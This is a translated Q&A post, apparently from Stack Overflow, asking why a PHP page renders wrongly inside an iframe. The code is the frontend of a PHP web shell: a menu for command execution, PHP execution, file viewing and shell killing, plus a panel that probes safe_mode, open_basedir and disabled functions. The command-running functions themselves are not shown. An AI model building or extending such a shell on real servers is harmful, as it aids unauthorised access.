如何让PHP将我的其他页面正确打印到iframe中?

时间:2011-07-19 05:41:43

标签: php html css debugging

所以,无论如何,我正在使用一个带有一个“主要功能”的大型PHP代码,主要功能用作主页面,并且嵌入了iframe,iframe可以将函数调用到其中,以及iframe然后应该将功能(真正包含HTML代码)显示到iframe中,有效地显示网站的新页面,但关键是整个事情发生在iframe中,所有代码都在一个PHP文档中。我知道这很有效,因为我之前已经看过它(甚至已经完成了)。

无论如何,我决定尝试做一些与造型有点不同的东西。

我创建了我的HTML / CSS样式,然后像往常一样把它放到一个函数中:

function style(){
echo("
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">
<html lang='en'>
<head>
<title>blah - $servip</title>
<style type='text/css'>
body {
text-align:center;
font-family:Verdana;
background-color:black;
color:white;
}
h1 {
size:16px;
}
h2 {
size:14px;
}
h3 {
size:12px;
}
a:link {
color:#E6EBE6;
text-decoration: none;
}
a:hover {
color:#CCD6CC;
text-decoration: none;
}
 a:visited {
color: #FFFFFF;
text-decoration: none;
}
div#header {
text-align:center;
}
div#menu {
width:200px;
height:400px;
border:2px ridge white;
text-align:center;
float:left;
margin:6px;
}
div#container {
width:850px;
height:850px;
overflow:auto;
margin:auto;
text-align:center;
border:2px ridge green;
}
div#maincontent {
width:608px;
height:731px;
border:2px ridge white;
text-align:center;
float:top;
float:right;
top:10px;
margin-top:6px;
margin-left:0px;
margin-right:6px;
margin-bottom:6px;
clear:bottom;
clear:top;

}
div#subcontent {
width:200px;
height:315px;
border:2px ridge white;
text-align:center;
float:left;
margin:6px;
clear:left;
}

}
</style> 
</head>
");
}

然后,我在我的main函数中调用它,并打印出其余的内容。

function Main() {
    global $self, $servip, $servport, $uname, $soft, $banner, $curuser, $version;
    style();
    echo("<div id='container'><div id='menu'>");
    $act = array('home'=>'Home','cmd'=>'Command Execute','files'=>'File View','phpinfo'=>'PHP info', 'phpexec'=>'PHP Execute',
    'tools'=>'Tools','sqllogin'=>'SQL','email'=>'Email','upload'=>'Get Files','kill'=>'Kill Shell');
    $capt = array_flip($act);
    echo("<form method='GET' name='shell'>");
    //handles the menu
    if($_SERVER['QUERY_STRING']){foreach($act as $link){echo("[ <a href='?" . $_SERVER['QUERY_STRING'] . "&act=" . $capt[$link] . "' target='frm'>" . $link . "</a> ] ");}}
    else{foreach($act as $link){echo("<a href='?act=" . $capt[$link] . "' target='frm'>" . $link . "</a><br />");}}
    echo("</div>");
    //maincontent
    echo("<div id='maincontent'><iframe name='frm' style='width:100%; height:100%; border:0;' src='?act=home'></iframe></div>");

    //subcontent
    echo("<div id='subcontent'> <h3>Information</h3>");
    echo("<b>Host:</b> <span class='inf'>" . $servip . "</span><br>");
    echo("<b>Server software:</b> <span class='inf'>" . $soft . "</span><br>");
    echo("<b>Username:</b> <span class='inf'>" . $uname . "</span><br>");
    echo("<b>Shell Directory:</b> <span class='inf'>" . getcwd() . "</span><br>");
    echo("<div style='display:none' id='info'>");
    echo("<b>Current User:</b> <span class='inf'>" . $curuser . "</span><br>");
    if(@ini_get('safe_mode') != ""){echo("<b>Safemode:</b> <font color='red'>ON</font>");}
    else{echo("<b>Safemode:</b> <font color='green'>OFF</font>");}
    echo("\n<br />\n");
    if(@ini_get('open_basedir') != ""){echo("<b>Open Base Dir:</b> <font color='red'>ON</font> [ <span class='inf'>" . ini_get('open_basedir') . "</span> ]");}
    else{echo("<b>Open Base Dir:</b> <font color='green'>OFF</font>");}
    echo("\n<br />\n");
    if(@ini_get('disable_functions') != ""){echo("<b>Disabled functions:</b> " . @ini_get('disable_functions'));}
    else{echo("<b>Disabled functions:</b> None");}
    echo("\n<br />\n");
    if(@function_exists(mysql_connect)){echo("<b>MySQL:</b> <font color='green'>ON</font>");}
    else{echo("<b>MySQL:</b> <font color='red'>OFF</font>");}
    echo("</div></div></body></html>");
}

我使用home函数创建了一个非常简单的“home”页面:

function home() {
ostyle();
echo("<h1>Welcome to blah</h1>");
echo("<p>Enjoy</p>");
echo("</body></html>");
}

ostyle();是style()的简化版本;

我使用开关案例将用户的选择基于$ act变量:

//Handles the selection menu
switch($act){
    case "home": home();break;
    case "phpinfo": phpinfo();break;
    case "sql": sql();break;
    case "files": files($dir);break;
    case "email": email();break;
    case "cmd": cmd();break;
    case "upload": upload();break;
    case "tools": tools();break;
    case "sqllogin": sqllogin();break;
    case "sql": sql();break;
    case "kill": kill();break;
    case "phpexec": execphp();break;
    default: main();break;
}

这就是我以前做过的所有事情,然而,出于某种原因,它不起作用。该页面变得“疯狂”。它将多个容器打印到单个容器div中,然后在iframe内显示我的内容,但随后它将if函数显示为Main函数(或主函数中代码的结果)。

出了什么问题,如何解决?

1 个答案:

答案 0 :(得分:1)

你真的让事情变得复杂。滥用回声,巨大的功能和全局变量?我不妨写一些静态的html文件。

我的建议是: 在开始写作之前先想想。